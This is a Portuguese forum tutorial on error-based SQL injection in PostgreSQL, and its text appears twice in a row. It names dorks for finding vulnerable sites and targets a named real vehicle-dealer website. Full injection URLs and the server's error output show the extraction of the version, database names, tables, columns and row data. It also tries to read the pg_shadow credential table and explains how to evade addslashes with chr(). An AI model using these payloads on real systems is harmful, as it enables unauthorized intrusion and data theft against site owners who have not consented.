Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... explico sobre o SQLi error-based no MySQL, e dou uma introdução bem básica no processo PostgreSQL. Agora vamos detalhá-lo.
De longe que o MySQL é o banco de dados mais utilizado pelos desenvolvedores, mas, mesmo assim, vez ou outra, nos deparamos com o erro:
O problema do defacement hoje é que muitos aprendem apenas o ataque em MySQL e acreditam que o restante não lhes é necessário, talvez o Havij faça o serviço todo. De fato, MySQL é o mais difundido e aprendido, mas isso ainda não é motivo para limitar-nos o próprio conhecimento.
Mas aqui você verá que um ataque simples SQLi em PostgreSQL pode ser até mesmo mais fácil do que no MySQL, bastando apenas decorar algumas keywords a mais. Vou mostrar a maneira de ataque baseada em erros, isto é, quando o UNION não está funcionando.
Primeiramente, vamos selecionar um website vulnerável. Que fique claro: o que você faz está sob sua responsabilidade. Você tem todo direito de testar alguma vulnerabilidade em algum website, desde que seja apenas para, no final, alertar aos administradores sobre a existência da mesma, sem causar danos ao website.
A seguinte dork me levou a vários websites usando PostgreSQL. Principalmente os websites de veículos e motos. Há grandes chances de ser do mesmo desenvolvedor:
Mas você também pode procurar diretamente por erros. Se a página onde o erro ocorre estiver com graves problemas, como um link não iniciado (conexão ao PG não foi feita), você não poderá atacar por ali, mas já saberá que o website utiliza este tipo de banco de dados. Logo, poderá procurar em outros locais, no website, focos de ataque.
No meu caso, peguei esse website:
Resposta de erro:
Como estaremos trabalhando com error-based, é claro que nós precisamos que o display_errors do PHP do servidor esteja ativo. E, neste caso, como pudemos ver, está.
Agora, vamos começar com uns testes, para confirmar a vulnerabilidade:
Neste caso, a notícia foi exibida corretamente. Ok.
Neste casoo, a notícia não foi exibida, e também não foi mostrado nenhum erro. Ok.
O segredo: Tudo o que iremos fazer é tentar transformar strings para inteiros, o que não é possível. Ele dará um erro (óbvio) e a mensagem de erro nos trará os resultados.
Vamos iniciar, como exemplo, obtendo a versão (version()).
Agora veja como o sucesso vem do erro. Vejamos a primeira mensagem de erro:
O resultado da nossa consulta está entre aspas. O erro significa que não foi possível convertê-lo para inteiro. Já sabemos que a versão é "PostgreSQL 9.0.4 on i686-pc-linux-gnu, compiled by GCC gcc (GCC) 4.1.2 20080704 (Red Hat 4.1.2-50), 32-bit".
Agora, vamos obter os nomes dos bancos de dados. Para isso, fazemos:
Note que em volta de ( e ) há outra query. Ela deve retornar apenas um resultado (uma linha, uma coluna). Esse resultado será convertido para int (ou não).
O erro foi:
Já consegue dizer qual o nome do primeiro banco de dados? Acertou quem disse "template1".
Agora, vamos alterando o "offset 0" no final da query para 1, 2, 3... Até se acabarem os bancos de dados. Veja:
E assim por diante. Até que:
Neste caso, a página apareceu completamente vazia. Isto quer dizer que já navegamos por todos os bancos de dados.
Mas pode acontecer que não sejam nomes muito sugestivos. Precisamos pegar o nome do banco de dados atualmente selecionados.
No MySQL, temos a função database(), que já nos retorna o nome do banco de dados atual. No PGSQL, não muda muito: current_database().
(Note que, como é uma função única, não precisamos envolver com (), como é o caso das queries.)
Já temos o nome do banco de dados atual: webpav.
Ah, sim, as tabelas!
Se você já entende de MySQL, essa parte você vai tirar de letra.
Vamos precisar ir alterando o offset até pegar todas as tabelas.
Veja que concatenamos o nome do banco de dados (coluna table_schema) ao qual a tabela pertence, ao nome da tabela (coluna table_name). Mais detalhes sobre concatenação nas dicas, ao final deste tutorial.
Agora, vamos obter as colunas da tabela "acessofuncchat".
Vamos converter o nome da tabela para ASCII (vide dicas).
[code]http://www.prolinkveiculos.com.br/eventoview.php?id=11%20and%201=cast((select%20colu mn_name%20from%20information_schema.columns%20wher e%20table_name=chr(97)%20||%20chr(99)%20||%20chr(1 01)%20||%20chr(115)%20||%20chr(115)%20||%20chr(111 )%20||%20chr(102)%20||%20chr(117)%20||%20chr(110)% 20||%20chr(99)%20||%20chr(99)%20||%20chr(104)%20|| %20chr(97)%20||%20chr(116)%20limit%201%20offset%20 1)%20as%20int)--+
Warning: pg_exec() [function.pg-exec]: Query failed: ERROR: invalid input syntax for integer: "id_funcionariochat" in /home/prolinkveiculos.com.br/www/config/classes/classdb.php on line 64
Vamos parar por aqui, há mais colunas, mas minha intenção não é invadir esse website, e sim, apenas usar como exemplo para provar uma vulnerabilidade. Por isso, vamos agora obter os dados dessas irrelevantes colunas.
Só pra constar, essa é a parte mais fácil.
Precisamos dispor o nome da tabela precedido de um ponto e do nome do banco de dados. Assim: banco.tabela (tal qual no MySQL). Veja:
Obtivemos duas IDs, tal qual o nome das colunas nos sugeria. Fim do trampo!
Obtendo credenciais do servidor
O PGSQL guarda credenciais na tabela "pg_shadow". Comumente, não há permissões para acessá-la, mas não custa nada tentar...
Não há permissões. Tentamos, e quebramos a cara, mas tentamos.
Dicas:
Para concatenar, você deve usar ||. Por exemplo:
SELECT version()||current_database()
Contra addslashes()/magic_quotes, você deve utilizar chr(). Pode convertê-lo pela função ord() do PHP, ou por Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar....
Digite o conteúdo no campo "TEXT", pegue o conteúdo do campo "ASCII DEC / CHAR". Envolva cada grupo de dígitos por chr() e substitua os espaços por || . Exemplo:
<=>
60 61 62
chr(60) || chr(61) || chr(62)
De longe que o MySQL é o banco de dados mais utilizado pelos desenvolvedores, mas, mesmo assim, vez ou outra, nos deparamos com o erro:
Código:
Warning: pg_exec() [function.pg-exec]: Query failed: ERROR: syntax error at or near "\" LINE 1: SELECT * FROM lalala WHERE lalala=1'2 ^ in /home/path/arquivo.php on line 123 Warning: pg_num_rows() expects parameter 1 to be resource, boolean given in /home/path/arquivo.php on line 124
Mas aqui você verá que um ataque simples SQLi em PostgreSQL pode ser até mesmo mais fácil do que no MySQL, bastando apenas decorar algumas keywords a mais. Vou mostrar a maneira de ataque baseada em erros, isto é, quando o UNION não está funcionando.
Primeiramente, vamos selecionar um website vulnerável. Que fique claro: o que você faz está sob sua responsabilidade. Você tem todo direito de testar alguma vulnerabilidade em algum website, desde que seja apenas para, no final, alertar aos administradores sobre a existência da mesma, sem causar danos ao website.
A seguinte dork me levou a vários websites usando PostgreSQL. Principalmente os websites de veículos e motos. Há grandes chances de ser do mesmo desenvolvedor:
Código:
inurl:"eventoview.php?id="
Código:
intext:"Warning: pg_exec"
Código:
http://www.prolinkveiculos.com.br/eventoview.php?id=1'1
Código:
Warning: pg_exec() [function.pg-exec]: Query failed: ERROR: syntax error at or near "\" LINE 1: SELECT * FROM emp011.evento_fotos WHERE id_evento=1\'1 ^ in /home/prolinkveiculos.com.br/www/config/classes/classdb.php on line 64 Warning: pg_num_rows() expects parameter 1 to be resource, boolean given in /home/prolinkveiculos.com.br/www/config/classes/classdb.php on line 65 Warning: pg_num_fields() expects parameter 1 to be resource, boolean given in /home/prolinkveiculos.com.br/www/config/classes/classdb.php on line 67
Agora, vamos começar com uns testes, para confirmar a vulnerabilidade:
Código:
http://www.prolinkveiculos.com.br/eventoview.php?id=11%20and%201=1--+
Código:
http://www.prolinkveiculos.com.br/eventoview.php?id=11%20and%201=0--+
O segredo: Tudo o que iremos fazer é tentar transformar strings para inteiros, o que não é possível. Ele dará um erro (óbvio) e a mensagem de erro nos trará os resultados.
Vamos iniciar, como exemplo, obtendo a versão (version()).
Código:
http://www.prolinkveiculos.com.br/eventoview.php?id=11%20and%201=cast(version()%20as%20int)--+
Código:
Warning: pg_exec() [function.pg-exec]: Query failed: ERROR: invalid input syntax for integer: "PostgreSQL 9.0.4 on i686-pc-linux-gnu, compiled by GCC gcc (GCC) 4.1.2 20080704 (Red Hat 4.1.2-50), 32-bit" in /home/prolinkveiculos.com.br/www/config/classes/classdb.php on line 64
Agora, vamos obter os nomes dos bancos de dados. Para isso, fazemos:
Código:
http://www.prolinkveiculos.com.br/eventoview.php?id=11%20and%201=cast((select%20datname%20from%20pg_database%20limit%201%20offset%200)%20as%20int)--+
O erro foi:
Código:
Warning: pg_exec() [function.pg-exec]: Query failed: ERROR: invalid input syntax for integer: "template1" in /home/prolinkveiculos.com.br/www/config/classes/classdb.php on line 64
Agora, vamos alterando o "offset 0" no final da query para 1, 2, 3... Até se acabarem os bancos de dados. Veja:
Código:
http://www.prolinkveiculos.com.br/eventoview.php?id=11%20and%201=cast((select%20datname%20from%20pg_database%20limit%201%20offset%201)%20as%20int)--+ Warning: pg_exec() [function.pg-exec]: Query failed: ERROR: invalid input syntax for integer: "template0" in /home/prolinkveiculos.com.br/www/config/classes/classdb.php on line 64
Código:
http://www.prolinkveiculos.com.br/eventoview.php?id=11%20and%201=cast((select%20datname%20from%20pg_database%20limit%201%20offset%202)%20as%20int)--+ Warning: pg_exec() [function.pg-exec]: Query failed: ERROR: invalid input syntax for integer: "postgres" in /home/prolinkveiculos.com.br/www/config/classes/classdb.php on line 64
Código:
http://www.prolinkveiculos.com.br/eventoview.php?id=11%20and%201=cast((select%20datname%20from%20pg_database%20limit%201%20offset%203)%20as%20int)--+ Warning: pg_exec() [function.pg-exec]: Query failed: ERROR: invalid input syntax for integer: "cep_new" in /home/prolinkveiculos.com.br/www/config/classes/classdb.php on line 64
Código:
http://www.prolinkveiculos.com.br/eventoview.php?id=11%20and%201=cast((select%20datname%20from%20pg_database%20limit%201%20offset%204)%20as%20int)--+ Warning: pg_exec() [function.pg-exec]: Query failed: ERROR: invalid input syntax for integer: "areacliente" in /home/prolinkveiculos.com.br/www/config/classes/classdb.php on line 64
Código:
http://www.prolinkveiculos.com.br/eventoview.php?id=11%20and%201=cast((select%20datname%20from%20pg_database%20limit%201%20offset%205)%20as%20int)--+ Warning: pg_exec() [function.pg-exec]: Query failed: ERROR: invalid input syntax for integer: "at_webpav" in /home/prolinkveiculos.com.br/www/config/classes/classdb.php on line 64
Código:
http://www.prolinkveiculos.com.br/eventoview.php?id=11%20and%201=cast((select%20datname%20from%20pg_database%20limit%201%20offset%2056)%20as%20int)--+
Mas pode acontecer que não sejam nomes muito sugestivos. Precisamos pegar o nome do banco de dados atualmente selecionados.
No MySQL, temos a função database(), que já nos retorna o nome do banco de dados atual. No PGSQL, não muda muito: current_database().
Código:
http://www.prolinkveiculos.com.br/eventoview.php?id=11%20and%201=cast(current_database()%20as%20int)--+
Código:
Warning: pg_exec() [function.pg-exec]: Query failed: ERROR: invalid input syntax for integer: "webpav" in /home/prolinkveiculos.com.br/www/config/classes/classdb.php on line 64
Ah, sim, as tabelas!
Se você já entende de MySQL, essa parte você vai tirar de letra.
Vamos precisar ir alterando o offset até pegar todas as tabelas.
Veja que concatenamos o nome do banco de dados (coluna table_schema) ao qual a tabela pertence, ao nome da tabela (coluna table_name). Mais detalhes sobre concatenação nas dicas, ao final deste tutorial.
Código:
http://www.prolinkveiculos.com.br/eventoview.php?id=11%20and%201=cast((select%20table_schema%20||%20chr(58)%20||%20table_name%20from%20information_schema.tables%20limit%201%20offset%200)%20as%20int)--+ Warning: pg_exec() [function.pg-exec]: Query failed: ERROR: invalid input syntax for integer: "emp998:acessofuncchat" in /home/prolinkveiculos.com.br/www/config/classes/classdb.php on line 64
Código:
http://www.prolinkveiculos.com.br/eventoview.php?id=11%20and%201=cast((select%20table_schema%20||%20chr(58)%20||%20table_name%20from%20information_schema.tables%20limit%201%20offset%201)%20as%20int)--+ Warning: pg_exec() [function.pg-exec]: Query failed: ERROR: invalid input syntax for integer: "pg_catalog:pg_type" in /home/prolinkveiculos.com.br/www/config/classes/classdb.php on line 64
Vamos converter o nome da tabela para ASCII (vide dicas).
chr(97) || chr(99) || chr(101) || chr(115) || chr(115) || chr(111) || chr(102) || chr(117) || chr(110) || chr(99) || chr(99) || chr(104) || chr(97) || chr(116)
Agora, basta incluir isso na query, como se fosse no MySQL. Vamos também ir alterando o offset.Código:
http://www.prolinkveiculos.com.br/eventoview.php?id=11%20and%201=cast((select%20column_name%20from%20information_schema.columns%20where%20table_name=chr(97)%20||%20chr(99)%20||%20chr(101)%20||%20chr(115)%20||%20chr(115)%20||%20chr(111)%20||%20chr(102)%20||%20chr(117)%20||%20chr(110)%20||%20chr(99)%20||%20chr(99)%20||%20chr(104)%20||%20chr(97)%20||%20chr(116)%20limit%201%20offset%200)%20as%20int)--+ Warning: pg_exec() [function.pg-exec]: Query failed: ERROR: invalid input syntax for integer: "id" in /home/prolinkveiculos.com.br/www/config/classes/classdb.php on line 64
Warning: pg_exec() [function.pg-exec]: Query failed: ERROR: invalid input syntax for integer: "id_funcionariochat" in /home/prolinkveiculos.com.br/www/config/classes/classdb.php on line 64
Vamos parar por aqui, há mais colunas, mas minha intenção não é invadir esse website, e sim, apenas usar como exemplo para provar uma vulnerabilidade. Por isso, vamos agora obter os dados dessas irrelevantes colunas.
Só pra constar, essa é a parte mais fácil.
Precisamos dispor o nome da tabela precedido de um ponto e do nome do banco de dados. Assim: banco.tabela (tal qual no MySQL). Veja:
Código:
http://www.prolinkveiculos.com.br/eventoview.php?id=11%20and%201=cast((select%20id%20||%20chr(58)%20||%20id_funcionariochat%20from%20emp998.acessofuncchat%20limit%201%20offset%200)%20as%20int)--+ Warning: pg_exec() [function.pg-exec]: Query failed: ERROR: invalid input syntax for integer: "1:1" in /home/prolinkveiculos.com.br/www/config/classes/classdb.php on line 64
Obtendo credenciais do servidor
O PGSQL guarda credenciais na tabela "pg_shadow". Comumente, não há permissões para acessá-la, mas não custa nada tentar...
Código:
http://www.prolinkveiculos.com.br/eventoview.php?id=11%20and%201=cast((select%20usename%20||%20chr(58)%20||%20passwd%20from%20pg_shadow%20limit%201%20offset%200)%20as%20int)--+ Warning: pg_exec() [function.pg-exec]: Query failed: ERROR: permission denied for relation pg_shadow in /home/prolinkveiculos.com.br/www/config/classes/classdb.php on line 64
Dicas:
Para concatenar, você deve usar ||. Por exemplo:
SELECT version()||current_database()
Contra addslashes()/magic_quotes, você deve utilizar chr(). Pode convertê-lo pela função ord() do PHP, ou por Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar....
Digite o conteúdo no campo "TEXT", pegue o conteúdo do campo "ASCII DEC / CHAR". Envolva cada grupo de dígitos por chr() e substitua os espaços por || . Exemplo:
<=>
60 61 62
chr(60) || chr(61) || chr(62)
Sabe o que isso me lembra?
Comment